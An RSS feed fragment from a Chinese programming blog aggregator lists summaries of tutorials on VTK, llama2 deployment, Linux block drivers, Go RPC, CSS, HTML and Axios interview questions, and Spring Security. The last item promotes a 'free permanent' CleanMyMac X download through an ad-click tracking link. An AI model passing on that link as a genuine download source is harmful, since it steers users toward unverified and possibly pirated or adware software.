2024年行情也会更加的内卷，像我这种大龄程序员可能是随时失业。失业的达摩克利斯之剑始终悬挂在我头上。该怎么办呢？&#xA;2.1.2. 未完成第二个Flag 第二个Flag：身体是自己的，体重控制在60KG。 今天称下来体重依然还有 67.</description>
    </item>
    <item>
      <title>【VTK三维重建-体绘制】第四期 VTK中GPU加速</title>
      <link>https://bchobby.github.io/posts/c404824f4f6de848c1b358cd4eec2362/</link>
      <pubDate>Mon, 01 Jan 2024 20:57:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c404824f4f6de848c1b358cd4eec2362/</guid>
      <description>很高兴在雪易的CSDN遇见你 VTK技术爱好者 QQ：870202403&#xA;前言 上期内容讲到VTK的体绘制技术vtkGPUVolumeRayCastMapper，本文分享VTK中GPU加速的相关内容，希望对各位小伙伴有所帮助！&#xA;感谢各位小伙伴的点赞+关注，小易会继续努力分享，一起进步！&#xA;你的点赞就是我的动力(＾Ｕ＾)ノ~ＹＯ&#xA;目录&#xA;前言&#xA;1. vtkGPUInfoList&#xA;1.1 Probe&#xA;1.2 IsProbed&#xA;1.3 GetNumberOfGPUs&#xA;1.4 GetGPUInfo&#xA;2. vtkGPUInfo&#xA;2.1 设置/获取专用显存（DedicatedVideoMemory）&#xA;2.2 设置/获取专用系统内存（DedicatedSystemMemory）&#xA;2.3 设置/获取共享系统内存（SharedSystemMemory）&#xA;3. 实际应用&#xA;4. vtkDummyGPUInfoList&#xA;5. vtkGPUInfoList其他子类&#xA;结论：&#xA;1. vtkGPUInfoList 用于存储主机各GPU显存信息列表。&#xA;vtkGPUInfoList存储了一系列的vtkGPUInfo。一个主机可以有多个gpu。它通过使用系统调用探测主机来创建和设置列表。这是一个抽象类。具体类是特定于操作系统的。&#xA;其重要参数如下：&#xA;1.1 Probe 查询该主机中的vtkGPUInfo信息。&#xA;1.2 IsProbed 返回是否查询该主机的vtkGPUInfo信息。&#xA;1.3 GetNumberOfGPUs 获取GPU的数量&#xA;1.4 GetGPUInfo 获取GPU的信息&#xA;/** * Return information about GPU i. * \pre probed: IsProbed() * \pre valid_index: i&amp;gt;=0 &amp;amp;&amp;amp; i&amp;lt;GetNumberOfGPUs() * \post result_exists: result!</description>
    </item>
    <item>
      <title>Windows CPU部署llama2量化模型并实现API接口</title>
      <link>https://bchobby.github.io/posts/73f82dbc46677bc17bd79c3a25b33c61/</link>
      <pubDate>Mon, 01 Jan 2024 20:48:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73f82dbc46677bc17bd79c3a25b33c61/</guid>
      <description>目录 模型部署本地运行llama2使用fastapi实现API接口常用git仓库 模型部署 从huggingface下载模型&#xA;https://huggingface.co/&#xA;放在本地文件夹，如下&#xA;本地运行llama2 from ctransformers import AutoModelForCausalLM llm = AutoModelForCausalLM.from_pretrained(&#34;D:\llm\llama2\models\llama2-7b-chat-ggml&#34;, model_file = &#39;llama-2-7b-chat.ggmlv3.q3_K_S.bin&#39;) print(llm(&#39;&amp;lt;s&amp;gt;Human: 介绍一下中国\n&amp;lt;/s&amp;gt;&amp;lt;s&amp;gt;Assistant: &#39;)) 使用fastapi实现API接口 服务端&#xA;import uvicorn from fastapi import FastAPI from pydantic import BaseModel from ctransformers import AutoModelForCausalLM # 参考 https://blog.csdn.net/qq_36187610/article/details/131835752 app = FastAPI() class Query(BaseModel): text: str @app.post(&#34;/chat/&#34;) async def chat(query: Query): input = query.text llm = AutoModelForCausalLM.from_pretrained(&#34;D:\llm\llama2\models\llama2-7b-chat-ggml&#34;, model_file = &#39;llama-2-7b-chat.ggmlv3.q3_K_S.bin&#39;) output = llm(&#39;&amp;lt;s&amp;gt;Human: &#39; + input + &#39;\n&amp;lt;/s&amp;gt;&amp;lt;s&amp;gt;Assistant: &#39;) print(output) return {&#34;</description>
    </item>
    <item>
      <title>Linux学习第49天：Linux块设备驱动实验（一）：Linux三大驱动之一</title>
      <link>https://bchobby.github.io/posts/5e320e52f37abd1fd8a74950d76ef4d6/</link>
      <pubDate>Mon, 01 Jan 2024 20:34:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e320e52f37abd1fd8a74950d76ef4d6/</guid>
      <description>Linux版本号4.1.15 芯片I.MX6ULL 大叔学Linux 品人间百味 思文短情长 本章学习Linux三大驱动之一的块设备驱动，主要应用场景为存储设备。&#xA;本章的思维导图如下：&#xA;一、什么是块设备 块设备---存储设备&#xA;以块为单位进行读写访问&#xA;在机构上可以进行随机访问，使用缓冲区来暂时存放数据。&#xA;I/O算法也不同。&#xA;二、块设备驱动框架 1.block_device结构体 1 struct block_device { 2 dev_t bd_dev; /* not a kdev_t - it&#39;s a search key */ 3 int bd_openers; 4 struct inode *bd_inode; /* will die */ 5 struct super_block *bd_super; 6 struct mutex bd_mutex; /* open/close mutex */ 7 struct list_head bd_inodes; 8 void * bd_claiming; 9 void * bd_holder; 10 int bd_holders; 11 bool bd_write_holder; 12 #ifdef CONFIG_SYSFS 13 struct list_head bd_holder_disks; 14 #endif 15 struct block_device *bd_contains; 16 unsigned bd_block_size; 17 struct hd_struct *bd_part; 18 /*number of times partitions within this device have been opened.</description>
    </item>
    <item>
      <title>怎么获取客户端真实IP？GO</title>
      <link>https://bchobby.github.io/posts/ba4ac922d6344ae12aee55b1678eb3ec/</link>
      <pubDate>Mon, 01 Jan 2024 20:26:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba4ac922d6344ae12aee55b1678eb3ec/</guid>
      <description>在使用 Golang 的 net/rpc 包进行 RPC 服务开发时，我们有时候会遇到需要获取客户端的真实 IP 和当前连接 net.Conn 的需求。然而在 net/rpc 的服务处理方法中，并没有提供直接获取到这些信息的途径。&#xA;那么，我们应该如何去获取这些信息呢？实现这个功能会有一些复杂，因为RPC的默认处理器没有提供获取net.Conn连接对象的接口。我们需要自定义RPC的编解码器和处理器来获得这些信息。以下是我的解决方案：&#xA;首先，我们要创建一个新的RPC服务处理器：&#xA;type serverCodec struct { rwc io.ReadWriteCloser dec *gob.Decoder // for reading JSON values enc *gob.Encoder // for writing JSON values encBuf *bufio.Writer conn net.Conn } func (c *serverCodec) ReadRequestHeader(r *rpc.Request) error { err := c.dec.Decode(r) if err != nil { return err } return nil } func (c *serverCodec) ReadRequestBody(body interface{}) error { return c.</description>
    </item>
    <item>
      <title>CSS-4</title>
      <link>https://bchobby.github.io/posts/04830e56bf97c3394c988bf3eb86f653/</link>
      <pubDate>Mon, 01 Jan 2024 20:20:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04830e56bf97c3394c988bf3eb86f653/</guid>
      <description>平面转换 整体认识 div { margin: 100px 0; width: 100px; height: 100px; background-color: pink; /* 过渡效果 */ transition: all 1s; } /* 当鼠标悬停到div时，进行平面转换 */ div:hover { transform: translate(800px) rotate(360deg) scale(2) skew(180deg); } 作用：为元素添加动态效果，一般与过渡配合使用 概念：改变盒子在平面内的形态（位移、旋转、缩放、倾斜） 平移 案例展示：通过平移实现&#34;居中&#34;效果 （原理：利用 transform: translate(); 取值为百分比时候，是参照盒子自身尺寸计算结果的特点） &amp;lt;style&amp;gt; .box { position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); width: 100px; height: 100px; background-color: pink; } &amp;lt;/style&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;box&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; 属性： transform: translate(X轴移动距离，Y轴移动距离); 取值： 1.像素单位数值 2.百分比（参照盒子自身尺寸计算结果） 3.</description>
    </item>
    <item>
      <title>前端八股文（HTML篇）一</title>
      <link>https://bchobby.github.io/posts/1d6700e1d8536222910f35c7b7849449/</link>
      <pubDate>Mon, 01 Jan 2024 20:14:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d6700e1d8536222910f35c7b7849449/</guid>
      <description>目录&#xA;1.什么是DOCTYPE,有何用呢？&#xA;2.说说对html语义化的理解&#xA;3.src和href的区别？&#xA;4.title与h1的区别，b与strong的区别，i与em的区别？&#xA;5.什么是严格模式与混杂模式？&#xA;6.前端页面有哪三层构成，分别是什么？&#xA;7.行内元素和块级元素分别有哪些？有何区别？&#xA;八.HTML5中新增了哪些新特性？移除了哪些元素？&#xA;九.对于Web标准以及W3C的理解&#xA;十.知道什么是微格式吗？&#xA;1.什么是DOCTYPE,有何用呢？ Doctype是HTML5的文档声明，通过它可以告诉浏览器，使用哪一个HTML版本标准解析文档。在浏览器发展的过程中，HTML出现过很多版本，不同的版本之间格式书写上略有差异。如果没有事先告诉浏览器，那么浏览器就不知道文档解析标准是什么？此时，，大部分浏览器将开启最大兼容模式来解析网页，我们一般称为怪异模式，这不仅会降低解析效率，而且会在解析过程中产生一些难以预知的bug，所以文档声明时必须的。&#xA;2.说说对html语义化的理解 HTML标签的语义化，简单来说，就是用正确的标签做正确的事情，给某块内容用上一个最恰当的标签，使页面有良好的结构，页面元素有含义。&#xA;语义化的优点如下:&#xA;在没有css样式情况下也能够让页面呈现出清晰的结构有利于SEO和搜索引擎建立良好的沟通，有助于爬虫抓取更多的有效信息，爬出是依赖于标签来确定上下文和各个关键字的权重。方便团队开发和维护，语义化更具有可读性，遵循w3c标准的团队都遵循这个标准，可以减少差异化。 3.src和href的区别？ src和href都是HTML中特定元素的属性，都可以用来引入外部的资源。两者区别如下：&#xA;src：全称source，它通常用于img，video，audio，script元素，通过src指向请求外部资源的来源地址，指向的内容会嵌入到文档中当前标签所在的位置，它会将资源下载并应用到文档内，比如说：js脚本、img图片、frame等元素。当浏览器解析到该元素时，会暂停其它资源下载，直到将该资源加载、编译、执行完毕。这也是为什么将js脚本放在底部而不是头部的原因。href：全称hyper reference ，意味着超链接，指向网络资源，当浏览器识别到它指向的文件时，就会并行下载资源，不会停止对当前文档的处理，通常用于a，link元素。 4.title与h1的区别，b与strong的区别，i与em的区别？ title属性表示网页的标题，h1元素表示层次明确的页面的内容标题，对页面信息的抓取也有很大的影响strong是标明重点内容，有语气加强的含义而b是展示强调内容i是italic（斜体）的简写，是早期的斜体元素，表示内容展示为斜体，而em是emphasize（强调）的简写，表示强调的文本。 5.什么是严格模式与混杂模式？ 严格模式：是以浏览器支持的最高标准运行混杂模式：页面以宽松向下兼容的方式显示，模拟老式浏览器的行为 6.前端页面有哪三层构成，分别是什么？ 构成：结构层，表示层，行为层&#xA;1.结构层&#xA;结构层是由HTML超文本标记语言来创建的，也就是页面中的各种标签，在结构层中保存了用户可以看到所有内容。&#xA;2.表示层&#xA;表示层是由css负责创建，它的作用是如何显示有关内容，学名：层叠样式表。&#xA;3.行为层&#xA;行为层表示网页内容跟用户之间产生交互性，简单来说就是用户操作了网页，网页给用户一个反馈。&#xA;7.行内元素和块级元素分别有哪些？有何区别？ 常见的块级元素：p,div,form,ul,li ,ol,table,h1,h2,h3,h4,h5,h6,dl,dt,dd&#xA;常见的行内元素：span,a,img,button,input,select&#xA;块级元素：&#xA;总是在新行上开始，就是每个块级元素独占一行，默认从上到下排列宽度缺少时它的容器的100%,除非设置一个宽度高度，行高以及外边距和内边距都是可以设置的块级元素可以容纳其他行内元素和块级元素 行内元素：&#xA;和其他元素都会在一行显示高，行高以及外边距和内边距可以设置宽度就是文字或者图片的宽度，不能改变行级元素只能容纳文本或者其他行内元素 八.HTML5中新增了哪些新特性？移除了哪些元素？ HTML5中主要是关于图像，位置，存储，多任务等功能的增加：&#xA;语义化标签，如：article，footer，header，nav等视频video，音频audio画布canvas表单控件，calemdar，date，time，email地理本地离线存储，localStorage长期存储数据，浏览器关闭数据不丢失，sessionStorage的数据在浏览器关闭后自动删除拖拽释放 移除的元素：&#xA;纯表现的元素：basefont、font、s、strike、tt、u、big、center对可选性产生负面影响的元素：frame、frameset、noframes 九.对于Web标准以及W3C的理解 web标准简单来说可以分为结构，表现，行为。其中结构是由HTML各种标签组成，简单来说就是body里面写入标签是为了页面的结构。表现是指css层叠样式表，用过css可以让我们的页面结构标签更具美感。行为是指页面和用户具有一定的交互。&#xA;W3C，全称：world wide web consortium是一个制定各种标准的非盈利性组织，也叫万维网联盟，标准包括HTML、CSS、ECMAScript等等，web标准的制定有很多好处，比如说：&#xA;可以统一开发流程，统一使用标准化开发工具（VSCode、WebStorm、Sublime），方便多人协作学习成本降低，只需要学习标准就行，否则就要学习各个浏览器厂商标准跨平台，方便迁移都不同设备降低代码维护成本、 十.知道什么是微格式吗？ 所谓的微格式是建立在已有的，被广泛采用的标准基础之上的一组简单的，开发的数据格式。&#xA;具体表现是把语义嵌套在HTML中，以便有助于分离式开发，并通过制定一些简单的约定，来兼顾HTML文档的可阅读性，相当于对web网页进行语义化注解。&#xA;采用微格式的web页面，在HTMl文档中给一些标签增加一些属性，这些属性对信息的语义结构进行注解，有助于处理HTML文档的软件，更好的理解HTML文档。当爬取web内容时，能够更为准确地识别到内容块的语义，微格式可以对网站进行SEO优化。</description>
    </item>
    <item>
      <title>前端八股文（CSS篇）一</title>
      <link>https://bchobby.github.io/posts/3e35d4ecd3e4e454b5e8918bb6019682/</link>
      <pubDate>Mon, 01 Jan 2024 20:13:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e35d4ecd3e4e454b5e8918bb6019682/</guid>
      <description>目录&#xA;1.px和em的区别&#xA;2.介绍下BFC及其应用&#xA;3.介绍下粘性布局（sticky）&#xA;4.清除浮动的方法&#xA;5.如何用css或js实现多行文本溢出省略效果，考虑兼容&#xA;6.如何触发重排和重绘？&#xA;7.重绘与重排的区别？&#xA;8.说说两种盒模型以及区别&#xA;9. 讲一下png8、png16、png32的区别，并简单讲讲 png 的压缩原理&#xA;10.分析比较 opacity: 0、visibility: hidden、display: none 优劣和适用场景&#xA;1.px和em的区别 px全称pixel像素，是相对于屏幕分辨率而言的，它是一个绝对单位，但同时具有一定的相对性。因为在同一个设备上每个像素代表的物理长度是固定不变的，这点表现的是绝对性。但是在不同的设备之间，每个设备像素所代表的的物理长度是可以变化的，这点表现的是相对性。&#xA;em是一个相对长度单位，具体大小需要相对于父元素计算，比如父元素的字体大小为80px，那么子元素1em就表示大小和父元素一样为80ox，0.5em就表示字体大小是父元素的一半为40px&#xA;2.介绍下BFC及其应用 所谓BFC，指的是一个独立的布局环境，BFC内部的元素布局与外部互不影响。&#xA;触发BFC的方式有很多，常见的有：&#xA;设置浮动overflow设置为auto，scroll，hiddenposition设置为absolute，fixed 常见的BFC应用有：&#xA;解决浮动元素令父元素高度坍塌的问题解决非浮动元素被浮动元素覆盖问题解决外边距垂直方向重合的问题 3.介绍下粘性布局（sticky） position中sticky值是css3新增的，设置sticky值后，在屏幕范围时该元素的位置并不受定位影响（设置top，left等属性是无效的），当该元素的位置将要偏移范围时，定位又会变成fixed，根据设置的left，top等属性成固定位置的效果&#xA;sticky属性值有以下几个特点：&#xA;该元素并不脱离文档流，仍然保留元素原本在文档流中的位置当元素在容器中被滚动超过指定的偏移值时，元素在容器内固定在指定位置。即如果你设置了top: 50px，那么在sticky元素到达距离相对定位的元素顶部50px的位置时固定，不再向上移动。元素固定的相对偏移是相对离他最近的具有滚动框的祖先元素，如果祖先元素都不可以滚动，那么是相对于viewport来计算元素的偏移量 4.清除浮动的方法 clear清除浮动（添加空div法）在浮动元素下方添加空div，并给该元素写css样式：{clear:both;height:0;overflow:hidden;}给浮动元素父级设置高度父级同时浮动（需要给父级同级元素添加浮动）父级设置为inline-block，其margin:0 auto居中方法失效给父级添加overflow：hidden清除浮动方法万能清除法: ::after伪元素清浮动 5.如何用css或js实现多行文本溢出省略效果，考虑兼容 单行：&#xA;overflow: hidden; text-overflow:ellipsis; white-space: nowrap; 多行：&#xA;display:-webkit-box; -webkit-box-orient:vertical; -webkit-line-clamp:3;//行数 overflow:hidden; 兼容：&#xA;p{position: relative; line-height: 20px; max-height: 40px;overflow: hidden;} p::after{content: &#34;...&#34;; position: absolute; bottom: 0; right: 0; padding-left: 40px; background: -webkit-linear-gradient(left, transparent, #fff 55%); background: -o-linear-gradient(right, transparent, #fff 55%); background: -moz-linear-gradient(right, transparent, #fff 55%); background: linear-gradient(to right, transparent, #fff 55%); } JS实现方式：</description>
    </item>
    <item>
      <title>前端八股文（CSS篇）二</title>
      <link>https://bchobby.github.io/posts/27be1cfec9520c80c073e080113fbf48/</link>
      <pubDate>Mon, 01 Jan 2024 20:13:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27be1cfec9520c80c073e080113fbf48/</guid>
      <description>目录&#xA;1.css中可继承与不可继承属性有哪些&#xA;2.link和@import的区别&#xA;3.transition和animation的区别&#xA;4.margin和padding的使用场景&#xA;5.：：before和：after的双冒号和单冒号有什么区别？&#xA;6.display:inline-block什么时候会显示间隙&#xA;7.如何判断元素是否到达可视区域&#xA;8.z-index属性在什么情况下会失效&#xA;9. Sass,Less是什么？为什么要使用它们？&#xA;10.对媒体查询的理解？&#xA;1.css中可继承与不可继承属性有哪些 一,无继承性的属性：&#xA;display：规定元素应该生成的框类型文本属性： vertical-align：垂直文本对齐text-decoration：规定添加到文本的装饰text-shadow：文本阴影效果white-space：空白符的处理unicode-bidi：设置文本的方向 3.盒子模型的属性：width，height，margin，border，padding&#xA;4.背景属性：background，background-color，background-image，background-repeat，background-position，background-attachment&#xA;5.定位属性：float，clear，position，top，right，bottom，left，min-width，min-height，max-width，max-height，overflow，clip，z-index&#xA;6.生成内容属性：content，counter-reset，counter-increment&#xA;7.轮廓样式属性：outline-style，outline-width、outlien-color，outline&#xA;8.页面样式属性：size，page-break-before，page-break-after&#xA;9.声音样式属性：：pause-before、pause-after、pause、cue-before、cue-after、cue、play-during&#xA;二，有继承性的属性：&#xA;1.字体系列属性：&#xA;font-family：字体系列font-weight：字体的粗细font-size：字体的大小font-style：字体的风格 2.文本系列属性：&#xA;text-indent：文本缩进text-align:文本水平对齐line-height：行高word-spacing：单词之间的简距letter-spacing：中文或字母之间的间距text-transform：控制文本大小color：文本颜色 3.元素可见性：&#xA;visibility：控制元素显示隐藏 4.列表布局属性&#xA;list-style：列表风格 5.光标属性&#xA;cursor：光标显示为何种形态 2.link和@import的区别 两者都是外部引用css的方式，它们区别如下：&#xA;link是XHTML的标签，除了加载CSS外，还可以定义RSS等其他事务；@import属于CSS范畴，只能加载css。link引用css时，在页面载入时候同时加载；@import需要页面网页完全载入以后加载。link是XHTML标签，无兼容问题；@import是在CSS2.1提出的，低版本的浏览器不支持link支持使用JavaScript控制DOM去改变样式；而@import不支持 3.transition和animation的区别 transition是过渡属性，强调过渡，它的实现需要触发一个事件（比如鼠标移动上去，焦点，点击等）才执行动画。它类似于flash的补间动画，设置一个开始关键帧，一个结束关键帧。animation是动画属性，它的实现不需要触发事件，设定好时间之后可以自己执行，且可以循环一个动画。它也类似于flash的补间动画，但是它可以设置多个关键帧（用@keyframe定义）完成动画。 4.margin和padding的使用场景 需要在border外侧添加空白，且空白处不需要背景时，使用margin需要在border内侧添加空白，且空白处需要背景时，使用padding。 5.：：before和：after的双冒号和单冒号有什么区别？ 1.冒号（：）用于css3伪类，双冒号（：：）用于css3伪元素。&#xA;2.：：before就是以一个子元素的存在，定义在元素主体内容之前的一个伪元素。并不存在于dom之中，只存在于页面之中。&#xA;注意： :before 和 :after 这两个伪元素，是在CSS2.1里新出现的。起初，伪元素的前缀使用的是单冒号语法，但随着Web的进化，在CSS3的规范里，伪元素的语法被修改成使用双冒号，成为::before、::after。&#xA;6.display:inline-block什么时候会显示间隙 有空格时会有间隙，可以删除空格解决。margin正值时，可以让margin使用负值解决；使用font-size时，可通过设置font-size：0，letter-spacing，word-spacing解决。 7.如何判断元素是否到达可视区域 以图片显示为例：&#xA;window.innerHeight是浏览器可视区的高度；document.body.scrollTop||document.doucmentElement.scrollTop是浏览器滚动过的距离imgs.offsetTop是元素顶部距离文档顶部的高度（包括滚动条的距离）内容达到显示区域的：img.offsetTop&amp;lt;window.innerHeight+document.body.scrollTop 8.z-index属性在什么情况下会失效 通常z-index的使用是在两个重叠的标签，在一定的情况下控制其中一个在另一个的上方或者下方出现。z-index值越大就越是在上层。z-index元素的position属性需要时relative，absolute或是fixed。&#xA;z-index属性在下列情况下会失效：&#xA;父元素position为relative时，子元素的z-index失效。解决：父元素position改为absolute或static元素没有设置position属性为非static属性。解决：设置该元素的position属性为relative，absolute或fixed中的一种；元素在设置z-index的同时还设置了float浮动。解决：float去除，改为display：inline-block； 9. Sass,Less是什么？为什么要使用它们？ 它们都是css预处理器，是css上的一种抽象层。他们是一种特殊的语法/语言编译成css。例如Less是一种动态样式语言，将css赋予了动态语言的特性，如变量，继承，运算，函数，Less既可以在客户端运行，也可以在服务器端运行。&#xA;为什么要使用它们？&#xA;结构清晰，便于扩展。 可以方便地屏蔽浏览器私有语法差异。封装对浏览器语法差异的重复处理， 减少无意义的机械劳动。可以轻松实现多重继承。 完全兼容 CSS 代码，可以方便地应用到老项目中。LESS 只是在 CSS 语法上做了扩展，所以老的 CSS 代码也可以与 LESS 代码一同编译。 10.</description>
    </item>
    <item>
      <title>【分布式微服务专题】SpringSecurity快速入门</title>
      <link>https://bchobby.github.io/posts/0ad15cad0e975967bb2053965f5fb685/</link>
      <pubDate>Mon, 01 Jan 2024 19:51:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ad15cad0e975967bb2053965f5fb685/</guid>
      <description>目录 前言阅读对象阅读导航前置知识笔记正文一、Spring Security介绍1.1 什么是Spring Security1.2 它是干什么的1.3 Spring Security和Shiro比较 二、快速开始2.1 用户认证2.1.1 设置用户名2.1.1.1 基于application.yml配置文件2.1.1.2 基于Java Config配置方式 2.1.2 设置加密方式2.1.2.1 {id}encodedPassword2.1.2.2 使用PasswordEncoder加密 2.1.3 自定义用户信息加载2.1.4 自定义登录页面2.1.5 前后端分离认证2.1.6 用户认证流程总结 2.2 访问控制2.2.1 web授权： 基于url的访问控制2.2.2 方法授权：基于注解的访问控制 三、Spring Security整合JWT实现自定义登录认证3.1 自定义登录认证业务流程3.2 JWT介绍3.2.1 什么是JWT 3.3 JWT结构3.3.1 JWT头部header3.3.2 JWT载荷payload3.3.3 JWT签名signature3.3.4 组合在一起3.3.5 如何使用 3.4 代码实现自定义登录3.5 JWT续期问题3.5.1 刷新令牌（Refresh Token）3.5.2 自动延长JWT有效期 学习总结感谢 前言 阅读对象 阅读导航 系列上一篇文章：《》&#xA;前置知识 笔记正文 一、Spring Security介绍 1.1 什么是Spring Security 官方介绍：Spring Security 是一个功能强大且高度可定制的身份验证和访问控制框架。它是用于保护基于 Spring 的应用程序。&#xA;Spring Security 是一个框架，侧重于为 Java 应用程序提供身份验证和授权。与所有 Spring 项目一样，Spring 安全性的真正强大之处，在于它很容易扩展以满足定制需求</description>
    </item>
    <item>
      <title>Axios 面试题及答案</title>
      <link>https://bchobby.github.io/posts/1dcfe53ead071a5631a449bb41f4c711/</link>
      <pubDate>Mon, 01 Jan 2024 19:48:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1dcfe53ead071a5631a449bb41f4c711/</guid>
      <description>Axios 面试题及答案 什么是 Axios？它有哪些主要特点和优势？&#xA;答案： Axios 是一个基于 Promise 的 JavaScript HTTP 客户端库，用于浏览器和 Node.js。它具有以下主要特点和优势：&#xA;支持浏览器和 Node.js 环境下的 HTTP 请求。提供了简单易用的 API，可以处理异步请求。支持 Promise API，可以更好地处理请求的结果。自动转换请求和响应的数据为 JSON 格式。提供了请求拦截器和响应拦截器，可以在请求发送和响应返回时进行拦截和处理。支持取消请求，可以中断正在进行的请求。提供了丰富的配置选项，可以灵活地配置请求的参数和行为。在浏览器中可以利用 XMLHttpRequest 或 Fetch 进行请求，而在 Node.js 中可以利用 http 或 https 模块进行请求。 如何在 Axios 中设置请求的超时时间？&#xA;答案： 在 Axios 中可以通过配置 timeout 参数来设置请求的超时时间。timeout 参数表示请求在指定的毫秒数内没有完成，则会被取消。示例代码如下：&#xA;axios.get(&#39;/api/data&#39;, { timeout: 5000 // 设置超时时间为 5 秒 }) .then(response =&amp;gt; { // 请求成功的处理逻辑 }) .catch(error =&amp;gt; { // 请求失败的处理逻辑 }); ``` Axios 的请求拦截器和响应拦截器有什么作用？如何使用它们？&#xA;答案： 请求拦截器和响应拦截器是 Axios 提供的两个重要功能，用于在请求发送和响应返回时进行拦截和处理。</description>
    </item>
    <item>
      <title>2024CleanMyMac X全新免费永久版下载</title>
      <link>https://bchobby.github.io/posts/7fd1bdd9735f5e43ea6e5d1e37a7a61d/</link>
      <pubDate>Mon, 01 Jan 2024 19:14:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7fd1bdd9735f5e43ea6e5d1e37a7a61d/</guid>
      <description> 如果你的Mac运行速度变慢，很有可能是因为RAM内存被过度占用了。本文将向Mac用户，尤其是小白用户归纳一些常见的Mac内存清理方法。通过释放RAM内存，你将会看到自己Mac的运行速度有显著提升。&#xA;你的Mac运行速度是否变得慢到让人抓狂？打开的应用程序经常出现卡顿？你是否经常看到“系统的应用程序内存不足”的提示消息？所有这些状况都可能是因为Mac电脑的RAM内存被使用过度占用。本文将向Mac用户，尤其是小白用户归纳一些常见的Mac内存清理方法。通过释放RAM内存，你将会看到自己Mac的运行速度有显著提升。&#xA;CleanMyMac X全新版下载如下:&#xA;https://wm.makeding.com/iclk/?zoneid=49983 首先，在介绍如何进行Mac内存清理之前，我们来解答一些用户可能感到好奇的一个疑问：什么是RAM内存？解答了这个问题后，我们再来介绍如何清理Mac电脑的内存，以及一些帮助你清理或优化Mac内存的有用技巧。&#xA;什么是RAM内存？ 先快速科普一下什么是内存。计算机内存，英文缩写为RAM，含义是“随机存取存储器”。内存为电脑正在运行的任务和过程提供存储。内存与Mac电脑的磁盘存储空间的区别在于，内存能让Mac运行应用程序时速度更快，因此Mac旨在将某些内容保留在内存中，以加快处理速度。&#xA;目前，8GB内存仍然是苹果电脑的主流配置，也是许多用户购买Mac时的选择，不过一些较早的机型仅具有4GB 的内存。如果你不运行需要大量内存的应用程序和游戏，其实8GB应该够日常使用的。&#xA;但是，有些设计不良的网页和应用程序可能会导致内存被大量占用，所以，即使是用来做最简单日常使用的Mac用户，也有可能遇到RAM内存不足的情况，从而导致卡顿和系统崩溃等烦恼。&#xA;下面我们将介绍一些在Mac上常见的清理内存占用的方法： 1. 重启Mac 重新启动电脑是释放内存的最简单方法。在大多数情况下，它的确可以解决Mac内存不足的问题。&#xA;当Mac重启时，它将清空内存以及所有正在使用的缓存。因此，一般情况下，重启后的Mac运行起来相对会更加流畅。&#xA;但是，还是会出现很多不方便重启的情况。也许你运行的应用程序或系统已经卡住，而重启会导致丢失某些未保存的数据；也许重启后要重新打开多个应用程序会让你觉得很繁琐，或者你的某个应用程序正在进行不能被中断的任务，例如无法断点续传的文件已经下载到80%了。&#xA;如果你不想重启Mac，要清理释放内存该怎么做呢？请继续往下阅读。&#xA;2. 使用专业的内存清理工具 使用第三方清理工具，可以让你更好的管理Mac的内存使用情况，尤其是那些经常需要同时运行多个应用程序或电脑内存配置相对较低的用户。这种情况下，使用第三方清理工具，会更方便，更省力——不必再每次出现卡顿或内存不足的时候就得重启Mac了。&#xA;目前有很多款第三方清理应用程序，比较受Mac用户欢迎的是CleanMyMac X, 其功能比较完善，包括释放内存、一键智能扫描垃圾和缓存文件、清理磁盘空间、卸载流氓软件等等，大家可以免费下载来试试。&#xA;那么，如何使用这款应用程序来精准地解决内存问题呢？该应用程序中有一个名为“释放RAM”的工具。这就是你所需要的。具体步骤如下：&#xA;下载CleanMyMac X（可从此处获得免费版本）打开程序，然后单击左侧菜单中的“维护”模块现在，找到“释放RAM”按钮 这个工具可以让你的Mac在你需要时快速地腾出内存。例如，当你需要解冻某些应用程序被卡住的问题时。&#xA;3. 更新macOS 由于内存不足问题有时可能也与macOS已知的系统问题有关。因此，最好记得定期检查自己的Mac是否运行的是最新版本的系统。如果不是，则应在必要时进行更新。一般来说，系统更新会解决掉一些bug，这也会让Mac的内存使用情况得到优化。&#xA;4. 查看“活动监视器” 当Mac速度变慢或应用程序卡住时，有经验的用户可能最先想到的是检查Mac自带的应用程序“活动监视器”。 你可以在“实用工具”中找到它，也可以在Spotlight聚焦搜索中输入“活动监视器”（按Command +空格以打开Spotlight聚焦搜索窗口）。&#xA;你可以在“活动监视器”中查看内存的使用量，从而帮助你确定是否有特定的应用程序正在消耗了过多的资源。&#xA;你可以看到有关每个进程和应用程序的详细信息，例如内存占用量、线程数等等。在这些列下方，您会看到一个内存压力图，以及有关“物理内存”、“已使用内存”、“已缓存文件”和“已使用的交换”等数据。旁边还列出了 “应用内存”、“联动内存”和“被压缩”等信息。&#xA;活动监视器所列出的这些内存信息相对比较专业，有经验的Mac用户可以通过这些数据来管理内存，而对Mac小白用户来说使用起来就不是那么友好了。&#xA;5. 关闭不用的应用程序 即使不查看活动监视器，快速浏览一下程序坞也会发现一些暂时不再需要使用的应用程序，此时就可以关闭这些程序，从而释放了一些内存资源。在查看程序坞时，你会注意到某些应用程序的图标下方有一个点，这表示的是应用程序处于打开状态。&#xA;要手动退出打开的应用程序，在程序坞上用鼠标右键点击它的图标，在弹出的菜单中选择“退出”即可。&#xA;6. 阻止非必要的应用程序自动启动 